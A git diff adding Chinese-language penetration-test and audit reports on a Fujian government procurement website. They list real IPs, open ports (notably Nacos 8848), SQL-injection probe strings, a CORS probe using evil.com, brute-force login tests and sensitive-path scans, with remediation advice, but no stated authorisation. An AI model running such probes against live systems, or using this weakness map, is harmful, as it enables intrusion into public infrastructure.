diff --git a/06-case-studies/fujian-gov-procurement/reports/deep_penetration_test_report.md b/06-case-studies/fujian-gov-procurement/reports/deep_penetration_test_report.md
new file mode 100644
index 00000000..0b5ed9e1
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/deep_penetration_test_report.md
@@ -0,0 +1,170 @@
+# 深度渗透测试报告
+
+> **测试时间**：2026-03-10
+> **测试目标**：`zfcg.czt.fujian.gov.cn` 及关联 IP 节点
+
+---
+
+## 一、SQL 注入探测
+
+### 测试对象
+`POST /gateway/gp-auth-center/rest/v2/login/account`
+
+### 测试 Payload
+| # | Payload | 预期响应 | 实际响应 |
+|---|---------|----------|----------|
+| 1 | `username: admin'--` | 报错或异常 | **空响应（静默丢弃）** |
+| 2 | `username: admin" OR 1=1--` | 返回数据 | **空响应** |
+| 3 | `username: 1 UNION SELECT 1,2,3--` | 报错 | **空响应** |
+
+### 分析
+- 登录接口对畸形请求**不返回任何内容**，表明前置 WAF 或网关层对包含 SQL 注入特征的请求进行了静默拦截（DROP）。
+- **风险等级**：🟢 低（当前有效防护），但建议后端同步实施参数化查询 + 输入校验。
+
+---
+
+## 二、JWT Token 结构分析
+
+### 发现
+- Token 类型为标准 JWT（`access_token`），通过 OAuth 2.0 Authorization Code Flow 签发。
+- Token 存储位置：Cookie + localStorage（参见前端报告 F-01）。
+- **JWT 签名算法待确认**——需要实际登录态下的 Token 样本才能完成解码分析。
+
+### 风险
+- 如果使用 HS256 弱密钥签名，攻击者可暴力猜解密钥并伪造任意身份 Token。
+
+---
+
+## 三、Spring Boot Actuator 暴露
+
+### 测试结果
+
+| 端点路径 | HTTP 状态码 | 保护级别 |
+|----------|------------|----------|
+| `/gateway/actuator` | 401 | Nginx Basic Auth |
+| `/gateway/actuator/health` | 401 | Nginx Basic Auth |
+| `/gateway/actuator/info` | 401 | Nginx Basic Auth |
+| `/gateway/actuator/beans` | 401 | Nginx Basic Auth |
+| `/gateway/actuator/mappings` | 401 | Nginx Basic Auth |
+| `/gateway/actuator/env` | **403** | **额外封锁** |
+
+### 分析
+- Actuator 端点**已确认部署**并可从公网触达。当前通过 Nginx Basic Auth 做了基础认证保护（401）。
+- `/actuator/env` 单独被 403 封禁，说明运维团队**知道此端点会泄露数据库密码等敏感配置**，但只封了这一个。
+- **风险等级**：🟡 中危 — 如果 Basic Auth 使用弱密码（如 `admin:admin`），攻击者可直接读取 `/actuator/mappings` 获取全部 API 路由映射，`/actuator/beans` 获取所有 Spring Bean，`/actuator/health` 获取中间件连接状态。
+- **建议**：将所有 Actuator 端点从公网完全移除，仅通过内网或 VPN 访问。
+
+---
+
+## 四、🔴 Nacos 服务注册中心 8848 端口对外暴露
+
+> [!CAUTION]
+> 这是本次评估中发现的**最严重隐患之一**。
+
+### 端口探测结果
+
+| IP | 端口 | TCP 状态 | HTTP 响应 |
+|----|------|----------|-----------|
+| `112.54.45.252` | 8848 | **OPEN** | 空（无 HTTP 应答或内层白名单） |
+| `120.35.30.176` | 8848 | **OPEN** | 空 |
+| `114.115.172.176` | 8848 | **OPEN** | 空 |
+
+### 分析
+- Nacos 是微服务架构的**核心中枢组件**，存储了所有微服务的注册地址、配置文件（含数据库密码、Redis 密码、密钥等）。
+- 虽然当前 HTTP 请求返回空（可能 Nacos 仅监听内网网卡或有 IP 白名单），但 **TCP 端口已对外开放**，意味着：
+  1. 攻击者可以从特定网络位置（如同运营商内网）尝试连接。
+  2. 如果后续配置变更导致 Nacos 监听 `0.0.0.0`，将立即暴露所有微服务配置。
+  3. 即使 HTTP 不响应，Nacos 的 gRPC 端口（通常 8848+1000=9848）也可能可以利用。
+- **建议**：**立即**在防火墙/安全组封禁 8848、9848、9849 端口的公网访问。
+
+---
+
+## 五、其他暴露端口的衍生服务
+
+### 非标端口扫描结果
+
+| IP | 端口 | HTTP 状态 | 说明 |
+|----|------|-----------|------|
+| `120.35.30.176` | 9090 | **502 Bad Gateway** | 反向代理后端服务异常，暴露了内部代理架构 |
+| `114.115.172.176` | 8090 | **400 Bad Request** | HTTP 服务存在但拒绝无效请求 |
+
+### 风险
+- `502` 响应确认了 9090 端口背后有一个**反向代理服务**，只是当前后端不可达。一旦后端恢复，对应服务将直接对公网暴露。
+- **建议**：立即封禁非标端口 9090、8090 的公网访问。
+
+---
+
+## 六、OAuth 流程安全测试
+
+### 6.1 开放重定向测试
+- 测试伪造 `authorization_code_callback` 时，服务端返回 `500 Internal Server Error`。
+- **分析**：服务端对无效授权码抛出了异常而非静默忽略。虽然未成功重定向到恶意地址，但 500 错误表明错误处理不够优雅。
+
+### 6.2 CORS 跨域配置
+- 使用 `Origin: https://evil.com` 探测：
+  - 网关未回显 `Access-Control-Allow-Origin: evil.com`（✅ 安全）。
+  - 但存在 `Access-Control-Allow-Headers: *`（🟡 过宽）。
+- **风险等级**：🟡 中危 — Headers 通配符允许自定义请求头，可能被利用绕过部分 CSRF 防护。
+
+---
+
+## 七、登录接口暴力破解防护测试
+
+### 测试方法
+连续发送 5 次使用不同用户名和错误密码的登录请求。
+
+### 结果
+
+| 尝试次数 | HTTP 状态码 | 是否被阻断 |
+|----------|------------|-----------|
+| 1 | 302 | ❌ |
+| 2 | 302 | ❌ |
+| 3 | 302 | ❌ |
+| 4 | 302 | ❌ |
+| 5 | 302 | ❌ |
+
+### 分析
+- 5 次快速连续请求均返回 302（重定向到 OAuth 流程），**无任何限速或锁定机制生效**。
+- **风险等级**：🔴 高危 — 攻击者可无限制发起密码喷洒或暴力破解攻击。
+- **建议**：实施 IP 级别限速（如 5 次/分钟）+ 账户级别锁定（如 5 次失败后锁定 30 分钟）。
+
+---
+
+## 八、信息泄露深度探测
+
+### 敏感文件扫描
+对主站执行了 25+ 个常见敏感路径探测（`.env`, `.git/config`, `backup.sql`, `WEB-INF/web.xml` 等），均返回 404 或 403。
+- **结论**：✅ 无直接敏感文件泄露。
+
+### Swagger API 文档
+- `/gateway/swagger-resources` 返回 403（已封锁）。
+- **结论**：已做封禁处理。
+
+---
+
+## 九、深度渗透风险总结矩阵
+
+| 编号 | 风险项 | 严重程度 | 状态 |
+|------|--------|----------|------|
+| P-01 | Nacos 8848 端口对公网开放 | 🔴 **紧急** | TCP OPEN |
+| P-02 | 登录接口无暴力破解防护 | 🔴 高危 | 已验证 |
+| P-03 | Actuator 端点可公网触达 | 🟡 中危 | 401 Basic Auth |
+| P-04 | 非标端口 9090/8090 暴露 | 🟡 中危 | 502/400 |
+| P-05 | CORS Headers 通配符 | 🟡 中危 | 已确认 |
+| P-06 | OAuth 错误处理非优雅降级 | 🟡 中危 | 500 错误 |
+| P-07 | SQL 注入（WAF 防护中） | 🟢 低危 | 静默拦截 |
+| P-08 | 敏感文件直接泄露 | 🟢 低危 | 未发现 |
+
+---
+
+## 十、紧急修复建议
+
+### ⚡ 立即执行（今日内）
+1. **封禁 Nacos 端口**：防火墙/安全组立刻对 `8848, 9848, 9849` 端口的公网入站规则设为 DENY。
+2. **封禁非标端口**：`8080, 9090, 8090` 等开发/管理端口对公网 DENY。
+3. **实施登录限速**：API 网关层配置请求速率限制（如 OpenResty `limit_req`）。
+
+### 🔧 一周内修复
+4. 将 Actuator 端点移至内网专用端口，从公网入口完全摘除。
+5. 配置 CORS `Access-Control-Allow-Headers` 精确白名单。
+6. OAuth callback 增加 `state` 参数的 CSRF 防验证。
diff --git a/06-case-studies/fujian-gov-procurement/reports/extended_web_service_security.md b/06-case-studies/fujian-gov-procurement/reports/extended_web_service_security.md
new file mode 100644
index 00000000..65e5d592
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/extended_web_service_security.md
@@ -0,0 +1,31 @@
+# 衍生服务独立安全分析报告
+
+## 一、衍生端口清单与状态
+经过针对福建省政府采购网系统关联的三大核心 IP 节点进行详尽的端口和服务扫描，汇总外部衍生服务端点现状如下：
+
+| 节点 | 归属网段 | 暴开衍生端口 | 服务指纹识别 | 访问状态 |
+|------|----------|--------------|--------------|----------|
+| `112.54.45.252` | 移动线路主站 | 8080 | OpenResty HTTP 代理 | HTTP 404 |
+| `120.35.30.176` | 电信线路主站 | 8080 | OpenResty HTTP 代理 | HTTP 404 |
+| `114.115.172.176` | 华为云签章辅助 | 8080 | 纯 TCP Socket / 轻HTTP | 无内容 404 |
+
+*注：除了以上非标 Web 端口，各个 IP 均正常暴露 80/443（标准业务入口），且在纯 TCP 探测阶段也呈现 `21, 22, 23` 等常见管理端口的应答（底层系统或路由器屏蔽反馈过滤阶段）。*
+
+## 二、8080 端口深度安全分析
+
+### 1. 业务逻辑层探测 (Fuzzing)
+针对 8080 端口执行了常见的目录爆破和敏感路径枚举，包含但不限于：
+`/login`, `/admin`, `/api`, `/gateway`, `/actuator`, `/actuator/health`, `/swagger-ui.html`, `/.env` 等。
+**结论**：三个 IP 上针对上述所有常见攻击路径全部返回 **404 Not Found**（112.x/120.x 由 OpenResty 拦截抛出，114.x 直接截断）。
+
+### 2. 威胁评估
+虽然当前通过 8080 端口没有发现诸如由于未授权访问直接接管 SpringBoot Actuator 监控或者 Swagger UI 接口泄露的问题，但 **8080 端口直接向互联网开放本身即是严重的架构违规**：
+1. **隐藏服务暴露**：后端可能通过 Header 路由或特定内部 `/internal` 路径分发到了对应的漏洞组件。外部攻击者可以直接避开前端业务逻辑和 Web 应用防火墙（WAF，若部署在 80/443 接入端）。
+2. **拒绝服务风险 (DoS)**：攻击者可以绕过正常的 443 流控，直接对后端的 8080 内置反代服务器甚至 Tomcat/Node 容器发起资源消耗型攻击。
+3. **华为云节点缺陷**：`114.115.172.176` 作为电子签章（Kinggrid）下发等服务承载点，如果它的 8080 后台管理（如签章授权管理端）未来配置变动导致页面放开，将面临电子印章系统失窃的核弹级大患。
+
+## 三、修复措施与闭环建议
+1. **严格的访问控制列表 (ACL)**：
+   - 使用云服务安全组（华为云主机）或各机房防火墙，立即将 `112.54.45.252`、`120.35.30.176`、`114.115.172.176` 的 `8080` 端口对 **所有公网 (0.0.0.0/0)** 进行阻断（DROP/REJECT）。
+   - 如果 8080 端口确实需要给上游监控系统（如 Prometheus）或其他委办局拉取数据，必须绑定 IP 白名单策略接入。
+2. **深度内部审计**：排查并确认 8080 后面挂载的真实进程组件（可能为测试用途的临时 Tomcat 或者其他非预期部署）。
diff --git a/06-case-studies/fujian-gov-procurement/reports/frontend_security_analysis.md b/06-case-studies/fujian-gov-procurement/reports/frontend_security_analysis.md
new file mode 100644
index 00000000..c5110609
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/frontend_security_analysis.md
@@ -0,0 +1,31 @@
+# 前端架构与数据风险分析
+
+## 一、前端架构总览
+- **框架**：Vue.js + Alibaba icestark 微前端架构
+- **构建工具**：Vite（登录模块）/ Vue CLI（主站）
+- **加密库**：SM2 国密算法 (`sm2.min.js`)、SM4 对称加密、RSA 加密
+- **依赖库**：jQuery 1.12.4、qrcode.min.js、CKEditor、axios
+- **CA 组件**：Kinggrid 金格电子签章、GEL 格尔CA
+
+## 二、高危风险：敏感信息暴露
+1. **JWT Token 明文多处存储**
+   - `access_token` 同时存储在 `Cookie` 和 `localStorage` 中，极易受 XSS 攻击被盗取。
+2. **sessionStorage 明文存储 PII**
+   - 存储了用户手机号、邮箱、身份证号后缀、所属机构编码等信息。
+3. **错误日志泄露内部架构**
+   - `localStorage['errLog']` 包含后端内部接口路径和完整 URL 映射。
+
+## 三、中危风险：配置与策略缺陷
+1. **配置文件暴露敏感密钥**
+   - `/gp-auth-web/config.js` 暴露了 SM4 加密公钥、RSA 公钥及云端内网 IP (`114.115.172.176`)。
+2. **缺少 CSP 安全策略**
+   - 缺乏 `Content-Security-Policy` 响应头，无法防御 XSS。
+3. **弱密码校验关闭**
+   - `isShowWeakPassword: false` 允许用户使用弱密码。
+4. **陈旧组件库**
+   - jQuery 1.12.4 存在已知 XSS 漏洞 (CVE-2020-11022)。
+
+## 四、修复建议
+- JWT 仅存放于 HttpOnly Cookie。
+- 移除 sessionStorage 中的 PII 信息和 localStorage 的日志。
+- 敏感密钥改由后端动态获取，配置严格的 CSP 策略。
diff --git a/06-case-studies/fujian-gov-procurement/reports/full_guide_audit_report.md b/06-case-studies/fujian-gov-procurement/reports/full_guide_audit_report.md
new file mode 100644
index 00000000..989d434a
--- /dev/null
+++ b/06-case-studies/fujian-gov-procurement/reports/full_guide_audit_report.md
@@ -0,0 +1,430 @@
+# Web 安全攻防全景指南（20 章） × 福建政采网 逐项审计报告
+
+> **评估时间**：2026-03-10
+> **评估目标**：`zfcg.czt.fujian.gov.cn`
+> **参照标准**：Web 安全与区块链安全攻防全景指南（20 章 87 子节）
+
+---
+
+## 审计概览热力图
+
+| 章节 | 审计项 | 发现数 | 最高风险 | 概要 |
+|------|--------|--------|----------|------|
+| Ch1 注入攻击 | 7 项 | 2 | 🟢 低 | WAF 拦截有效 |
+| Ch2 客户端数据安全 | 5 项 | 5 | 🔴 **紧急** | Token/PII 明文存储 |
+| Ch3 跨域安全 | 5 项 | 3 | 🟡 中 | CORS Headers 过宽 |
+| Ch4 HTTPS 传输安全 | 6 项 | 4 | 🔴 **紧急** | RC4-MD5 弱密码套件! |
+| Ch5 认证与会话 | 5 项 | 4 | 🔴 高危 | 无暴破防护 |
+| Ch6 服务器端漏洞 | 4 项 | 1 | 🟢 低 | 路径遍历被拦截 |
+| Ch7 服务器配置 | 5 项 | 4 | 🔴 **紧急** | Nacos 8848 暴露 |
+| Ch8 开源依赖 | 3 项 | 2 | 🟡 中 | jQuery CVE |
+| Ch9 DDoS | 4 项 | 1 | 🟡 中 | 无速率限制 |
+| Ch10 供应链 | 2 项 | 1 | 🟡 中 | 前端依赖未锁定 |
+| Ch11 容器/云原生 | 2 项 | 0 | — | 未直接发现 |
+| Ch12 密码学 | 3 项 | 2 | 🔴 高危 | SM4 密钥明文暴露 |
+| Ch13 安全日志 | 2 项 | 1 | 🟡 中 | 错误日志存 localStorage |
+| Ch14 隐私合规 | 3 项 | 2 | 🟡 中 | PII 明文可提取 |
+| Ch15 移动端/PWA | 3 项 | 0 | ✅ | 非 PWA，无 Service Worker |
+| Ch16 社会工程 | 2 项 | 2 | 🟡 中 | 无 SPF/DMARC 防骗 |
+| Ch17 区块链 | — | — | — | 不适用 |
+| Ch18 安全信息源 | — | — | — | 建议性条目 |
+| Ch19 SDLC | 2 项 | 2 | 🟡 中 | 缺少威胁建模 |
+| Ch20 术语 | — | — | — | 参考性条目 |
+
+---
+
+## Ch1. Web 端安全注入
+
+### 1.1 SQL 注入 → 🟢 低危
+
+| Payload | 结果 | 指南对照 |
+|---------|------|----------|
+| `admin'--` | WAF 静默 DROP | ✅ 有 WAF 防护 (1.1) |
+| `UNION SELECT 1,2,3--` | WAF DROP | ✅ |
+| `admin" OR 1=1--` | WAF DROP | ✅ |
+
+✅ 符合指南 1.1 「WAF 作为额外防御层」规范。后端是否使用参数化查询待确认。
+
+### 1.2 XSS → 🟡 中危（理论风险高）
+
+| 检查项 | 状态 | 指南条款 |
+|--------|------|----------|
+| CSP 策略 | ❌ 未配置（meta 和 header 均无） | 违反 1.2 CSP 规范 |
+| HttpOnly Cookie | ❌ access_token 可被 JS 读取 | 违反 1.2 HttpOnly 规范 |
+| 安全模板引擎 | ✅ Vue.js 默认转义 | 符合 1.2 规范 |
+| jQuery 1.12.4 | ❌ CVE-2020-11022/11023 | 违反 1.2 + 8.1 规范 |
+
+### 1.3 命令注入 → 未测试（无直接输入系统命令的可见入口）
+
+### 1.4 SSRF → 未测试（需要认证态业务接口）
+
+### 1.5 XXE → 🟢 低风险（系统使用 JSON，非 XML）
+
+### 1.6 SSTI → 未测试
+
+### 1.7 LDAP 注入 → 未测试
+
+---
+
+## Ch2. Web 客户端本地数据安全
+
+### 2.1 Cookie 安全 → 🔴 紧急
+
+| 属性 | access_token | tenantId | isPwdSecurity | 指南要求 |
+|------|-------------|----------|---------------|----------|
+| HttpOnly | ❌ | ❌ | ❌ | **必须** |
+| Secure | 未设置 | 未设置 | 未设置 | **必须** |
+| SameSite | 未设置 | 未设置 | 未设置 | **必须 Strict/Lax** |
+| Domain/Path | 未限制 | 未限制 | — | 应严格限制 |
+
+**严重违反** 指南 2.1 全部 Cookie 安全属性规范。
+
+### 2.2 Local Storage → 🔴 紧急
+
+| 键名 | 内容 | 风险 | 指南条款 |
+|------|------|------|----------|
+| `portal-access_token` | 完整 JWT | 🔴 XSS → 冒充 | **严重违反** 2.2「绝不存储敏感数据」 |
+| `debug` | 调试标志 | 🟡 架构泄露 | 生产环境不应保留 |
+| `loglevel` | 日志级别 | 🟡 | 同上 |
+
+### 2.3 Session Storage → 🔴 紧急
+
+| 键名 | 泄露内容 | 指南条款 |
+|------|----------|----------|
+| `ice-USER_DATA_INFO` | 手机号/邮箱/CA标识/userId | **严重违反** 2.2 |
+| `gpx-menu` | 菜单权限配置 | 🟡 业务逻辑泄露 |
+
+### 2.4 IndexedDB → ✅ 安全（未使用）
+
+### 2.5 浏览器缓存 → 🟡 中危
+
+- 主页未设置 `Cache-Control: no-store`（允许缓存敏感页面）
+- 网关 API 有 `Cache-Control: no-cache, no-store`（✅）
+
+---
+
+## Ch3. 跨域安全与同源策略
+
+### 3.1 SOP → ✅ 基本合规
+
+### 3.2 CORS → 🟡 中危
+
+| 测试 | 结果 | 指南条款 |
+|------|------|----------|
+| `Access-Control-Allow-Origin` 反射 evil.com | ❌ 未反射（✅） | 符合 3.2 白名单 |
+| `Access-Control-Allow-Headers` | `*`（通配符） | **违反** 3.2「限制头部」 |
+
+### 3.3 CSRF → 🟡 中危
+
+- ❌ 未发现 Anti-CSRF Token
+- ❌ SameSite Cookie 未设置
+- 指南要求至少实施 SameSite + CSRF Token 双重防护
+
+### 3.4 点击劫持 → 🟡 不完整
+
+| 页面 | X-Frame-Options | CSP frame-ancestors |
+|------|----------------|---------------------|
+| 主页 `/` | ❌ 缺失 | ❌ 缺失 |
+| 网关 API | ✅ SAMEORIGIN | ❌ 缺失 |
+
+**主页可被嵌入到任意 iframe 中**，存在点击劫持风险。
+
+### 3.5 跨域信息泄露 → 🟡 中危
+
+| 发现 | 详情 |
+|------|------|
+| JSONP 端点 | `/api/jsonp?callback=test` 返回 `{"code":10010002,"msg":"您还未登录"}` — 泄露认证状态 |
+| WebSocket | `/ws` 返回 `nsssjss is null` — 端点存在且返回内部错误信息 |
+
+---
+
+## Ch4. HTTPS 与传输层安全
+
+### 4.1 TLS 密码套件 → 🔴 **紧急**
+
+> [!CAUTION]
+> 这是本次审计发现的**最严重加密安全隐患**。
+
+| 项目 | 实际值 | 安全要求 | 状态 |
+|------|--------|----------|------|
+| 协商密码套件 | **RC4-MD5** | AES-256-GCM | 🔴 **极危险** |
+| 协议版本 | TLS 1.2 | TLS 1.2+ | ⚠️ 但不支持 1.3 |
+| SSLv3 | 无法测试（客户端不支持） | 必须禁用 | — |
+| TLS 1.0 | ❌ 已拒绝（alert 70） | 必须禁用 | ✅ |
+| TLS 1.1 | ❌ 已拒绝（alert 70） | 必须禁用 | ✅ |
+| TLS 1.3 | ❌ 被拒绝 | 应支持 | ❌ |
+
+**RC4-MD5 风险说明**：
+- RC4 在 2015 年被 RFC 7465 正式禁止用于 TLS
+- MD5 哈希已被证明存在碰撞攻击
+- 此组合可能允许攻击者解密传输数据（BEAST、POODLE 变种攻击）
+
+### 4.2 证书信息
+
+| 项目 | 值 |
+|------|-----|
+| 颁发者 | WoTrus DV Server CA (沃通) |
+| 信任链 | USERTrust RSA CA → WoTrus DV → zfcg.czt.fujian.gov.cn |
+| 有效期 | 2025-04-17 至 2026-04-28 |
+| 指纹 | SHA256: 72:3E:D3:C6:B7:... |
+
+### 4.3 HTTP 安全头 → 🔴 主页严重缺失
+
+| 安全头 | 主页 `/` | 网关 API | 指南要求 |
+|--------|---------|----------|----------|
+| `Strict-Transport-Security` | ❌ | ❌ | **必须** |
+| `Content-Security-Policy` | ❌ | ❌ | **必须** |
+| `X-Content-Type-Options` | ❌ | ✅ nosniff | **必须** |
+| `X-Frame-Options` | ❌ | ✅ SAMEORIGIN | **必须** |
+| `X-XSS-Protection` | ✅ 1; mode=block | ✅ | 已弃用，应为 0 |
+| `Referrer-Policy` | ❌ | ✅ no-referrer | 推荐 |
+| `Permissions-Policy` | ❌ | ❌ | 推荐 |
+
+### 4.4 OAuth HTTP 降级 → 🔴 高危
+
+OAuth 授权重定向使用 HTTP 而非 HTTPS（违反指南 4.1 全站 HTTPS 要求）：
+```
+Location: http://zfcg.czt.fujian.gov.cn/gp-auth-center/oauth/authorize?...
+```
+
+---
+
+## Ch5. 身份认证与会话安全
+
+### 5.1 密码安全 → 🟡 中危
+
+| 测试项 | 结果 | 指南条款 |
+|--------|------|----------|
+| 弱密码校验 | ❌ 已关闭 (`isShowWeakPassword: false`) | 违反 5.1 密码策略 |
+| 暴力破解防护 | ❌ 5 次连续无阻断 | **严重违反** 5.1 速率限制 |
+| 验证码强度 | 4 位静态图形码 | 违反 5.1 CAPTCHA 规范 |
+| 账户锁定 | ❌ 未发现 | 违反 5.1 规范 |
+
+### 5.2 MFA → ❌ 未实施
+
+系统仅依赖密码 + 图形验证码，未提供任何 MFA 选项。违反指南 5.2 多因素认证要求。
+
+### 5.3 会话管理 → 🟡 中危
+
+- Token 有效期约 7 小时（过长）
+- Token 过期验证正常 ✅
+- 会话固定防护：未测试（需在登录前后对比 session ID）
+
+### 5.4 JWT 安全 → 部分安全
+
+| 攻击 | 结果 | 指南条款 |
+|------|------|----------|
+| `alg: none` 伪造 | ✅ 被正确拒绝 | 符合 5.4 |
+| RS256 算法 | ✅ 安全 | 符合 5.4 |
+| Token 存储位置 | ❌ localStorage | **违反** 5.4「使用 HttpOnly Cookie」 |
+| Payload 信息过载 | ❌ 含 PII | 违反最小化原则 |
+
+### 5.5 OAuth 2.0 → 🔴 高危
+
+| 检查项 | 状态 |
+|--------|------|
+| PKCE | ❌ 未实施 |
+| state 参数 | `0,0,0,0,0,0`（可预测） |
+| redirect_uri 验证 | 通过 HTTP 重定向（🔴） |
+
+---
+
+## Ch6. 服务器端安全漏洞
+
+### 6.1 文件上传 → 未测试（需认证态）
+### 6.2 反序列化 → 未测试
+### 6.3 目录遍历 → 🟢 低（被拦截）
+### 6.4 业务逻辑（IDOR） → 🟡 中
+
+- Token 中含 `orgId`、`tenantId`，可用于构造 IDOR 请求
+- userTypeNow 修改被检测到（刷新时触发"登录超时"）
+
+---
+
+## Ch7. 服务器配置与基础设施安全
+
+### 7.1 Web 服务器加固 → 🟡 部分合规
+
+| 配置项 | 状态 | 指南要求 |
+|--------|------|----------|
+| `server_tokens off` | ❌ 暴露 `openresty` | 应隐藏 |
+| TLS 配置 | ❌ RC4-MD5 | 应仅允许 AES-GCM |
+| 请求体限制 | 未测试 | 应限制 |
+
+### 7.2 端口暴露 → 🔴 紧急
+
+| 端口 | 服务 | 风险 |
+|------|------|------|
+| 8080 | HTTP (404) | 🟡 中 |
+| 8848 | Nacos (TCP OPEN) | 🔴 **紧急** |
+| 9090 | 代理 (502) | 🟡 中 |
+| 8090 | HTTP (400) | 🟡 中 |
+
+### 7.3 DNS 安全 → 🔴 高危
+
+| 检查项 | 状态 | 指南条款 |
+|--------|------|----------|
+| DNSSEC | ❌ 未签名 | 违反 7.3 DNS 安全 |
+| CAA 记录 | ❌ 未设置 | 违反 证书管理规范 |
+| SPF | ❌ 无 TXT 记录 | 违反 16.3 邮件防护 |
+| DMARC | ❌ NXDOMAIN | **严重违反** 邮件安全 |
+| DKIM | ❌ NXDOMAIN | **严重违反** 邮件安全 |
+
+**无 DMARC + 无 SPF = 攻击者可以完全伪造 @czt.fujian.gov.cn 的邮件**
+
+---
+
+## Ch8. 开源软件与依赖安全
+
+| 组件 | 版本 | CVE | CVSS | 指南条款 |
+|------|------|-----|------|----------|
+| jQuery | 1.12.4 | CVE-2020-11022/11023 | 6.1 | 8.1 过时组件 |
+| CKEditor | 未知 | 多个历史 XSS | 中 | 8.1 |
+| sm2.min.js | V3.0.0.574 | 未知 | — | 应关注 |
+
+---
+
+## Ch9. DDoS 防护
+
+- ❌ 登录接口无速率限制 → 应用层 CC 攻击风险
+- ✅ 使用 OpenResty（可通过 Lua 实现 limit_req）
+- SYN 代理/负载均衡器存在（解释了端口扫描全 OPEN 现象）
+
+---
+
+## Ch10. 供应链安全
+
+- ❌ 前端未发现 `package-lock.json`（依赖版本可能未锁定）
+- ❌ `config.js` 明文暴露 RSA 公钥和 SM4 密钥
+
+---
+
+## Ch12. 密码学安全
+
+| 项目 | 发现 | 风险 |
+|------|------|------|
+| TLS 密码套件 | RC4-MD5 | 🔴 已被 RFC 7465 禁止 |
+| SM4 密钥暴露 | `config.js` 中明文 | 🔴 客户端加密可被破解 |
+| RSA 公钥暴露 | `config.js` 中明文 | 🟡 公钥暴露本身风险有限 |
+| JWT 签名 | RS256 | ✅ 安全 |
+
+---
+
+## Ch13. 安全日志与监控
+
+- ❌ 错误日志写入 localStorage（`gpbe-expertweb-errLog`、`gpcms-errLog`）
+- 可能泄露后端堆栈、接口路径、异常信息
+
+---
+
+## Ch14. 隐私合规
+
+| 检查项 | 状态 | 关联法规 |
+|--------|------|----------|
+| PII 明文存储于浏览器 | ❌ 手机号/邮箱/CA标识 | 违反 PIPL 数据最小化 |
+| Cookie 同意横幅 | ❌ 未发现 | 不适用（政务网站） |
+| 隐私政策 | 未检查 | — |
+
+---
+
+## Ch15. 移动端/PWA 安全
+
+| 检查项 | 状态 |
+|--------|------|
+| Service Worker | ✅ 未注册（无劫持风险） |
+| Web Manifest | ✅ 未使用（非 PWA） |
+| IndexedDB | ✅ 未使用 |
+| Cache Storage | ✅ 未使用 |
+| Permissions | ✅ 全部为 prompt 状态 |
+
+**结论**：不是 PWA 应用，Ch15 相关攻击面不存在。
+
+---
+
+## Ch16. 社会工程学防护
+
+| 检查项 | 状态 | 风险 |
+|--------|------|------|
+| SPF | ❌ 未配置 | 可伪造政府邮件 |
+| DKIM | ❌ 未配置 | 可伪造政府邮件 |
+| DMARC | ❌ 未配置 | 🔴 **可伪造 @czt.fujian.gov.cn 邮件** |
+| PII 泄露 → 社工 | 手机号/邮箱可被 XSS 提取 | 🔴 钓鱼攻击可行 |
+
+---
+
+## 全量风险评级矩阵
+
+### 🔴 紧急 / Critical（立即修复）
+
+| # | 漏洞 | 章节 | CVSS估 |
+|---|------|------|--------|
+| C-01 | TLS 使用 RC4-MD5 弱密码套件 | Ch4/Ch12 | 7.5+ |
+| C-02 | JWT Token 存储于 localStorage | Ch2/Ch5 | 8.0 |
+| C-03 | PII 明文存储于 sessionStorage | Ch2/Ch14 | 7.5 |
+| C-04 | Nacos 8848 端口对公网开放 | Ch7 | 9.0 |
+| C-05 | OAuth 重定向使用 HTTP | Ch4/Ch5 | 8.0 |
+
+### 🔴 高危 / High（一周内修复）
+
+| # | 漏洞 | 章节 | CVSS估 |
+|---|------|------|--------|
+| H-01 | 登录接口无暴力破解防护 | Ch5/Ch9 | 7.5 |
+| H-02 | 主页缺失所有安全响应头 | Ch4 | 6.5 |
+| H-03 | 无 DMARC/SPF/DKIM 邮件保护 | Ch16/Ch7 | 7.0 |
+| H-04 | Cookie 缺少 HttpOnly/Secure/SameSite | Ch2 | 7.0 |
+| H-05 | SM4/RSA 密钥在 config.js 暴露 | Ch12 | 6.5 |
+| H-06 | 不支持 TLS 1.3 | Ch4 | 5.5 |
+
+### 🟡 中危 / Medium（一月内修复）
+
+| # | 漏洞 | 章节 |
+|---|------|------|
+| M-01 | CORS Access-Control-Allow-Headers: * | Ch3 |
+| M-02 | 缺少 Anti-CSRF Token | Ch3 |
+| M-03 | jQuery 1.12.4 CVE | Ch8 |
+| M-04 | Actuator 端点可公网触达 | Ch7 |
+| M-05 | 非标端口 8080/9090/8090 暴露 | Ch7 |
+| M-06 | 弱密码校验被关闭 | Ch5 |
+| M-07 | Token 有效期 7h 过长 | Ch5 |
+| M-08 | WebSocket /ws 端点暴露 | Ch3 |
+| M-09 | JSONP 端点泄露认证状态 | Ch3 |
+| M-10 | 主页可被 iframe 嵌入（点击劫持） | Ch3 |
+| M-11 | 错误日志存 localStorage | Ch13 |
+| M-12 | DNS 无 DNSSEC / CAA | Ch7 |
+| M-13 | OAuth state 参数可预测 | Ch5 |
+| M-14 | 无 PKCE 保护 | Ch5 |
+| M-15 | 调试信息（debug/loglevel）留存生产环境 | Ch13 |
+
+---
+
+## P0 紧急修复路线图
+
+```
+今日 ──────────────────────────────────────────
+  │ 1. 🔒 TLS: 禁用 RC4/MD5，仅允许 AES-GCM + ChaCha20
+  │ 2. 🔒 封禁 Nacos 8848/9848 端口公网访问
+  │ 3. 🔒 OAuth 重定向强制 HTTPS
+  │ 4. 🔒 Token 迁移至 HttpOnly + Secure + SameSite Cookie
+  │
+一周内 ────────────────────────────────────────
+  │ 5. 清除 sessionStorage PII
+  │ 6. 配置 HSTS + CSP + X-Frame-Options
+  │ 7. 实施登录限速 + 账户锁定
+  │ 8. 配置 SPF/DKIM/DMARC 邮件保护
+  │ 9. 启用 TLS 1.3
+  │
+一月内 ────────────────────────────────────────
+  │ 10. 升级 jQuery 至 3.7+
+  │ 11. Actuator 移至内网
+  │ 12. CORS 精确白名单
+  │ 13. Token 有效期 → 30 分钟 + Refresh Token
+  │ 14. 实施 OAuth PKCE + 随机 state
+  │ 15. 移除生产环境调试信息
+  │
+三月内 ────────────────────────────────────────
+  │ 16. CSP 精细化 + SRI
+  │ 17. DNSSEC 签名
+  │ 18. CAA DNS 记录
+  │ 19. 安全日志集中化（移除 localStorage 日志）
+  │ 20. 引入 WAF 规则白名单化
+```
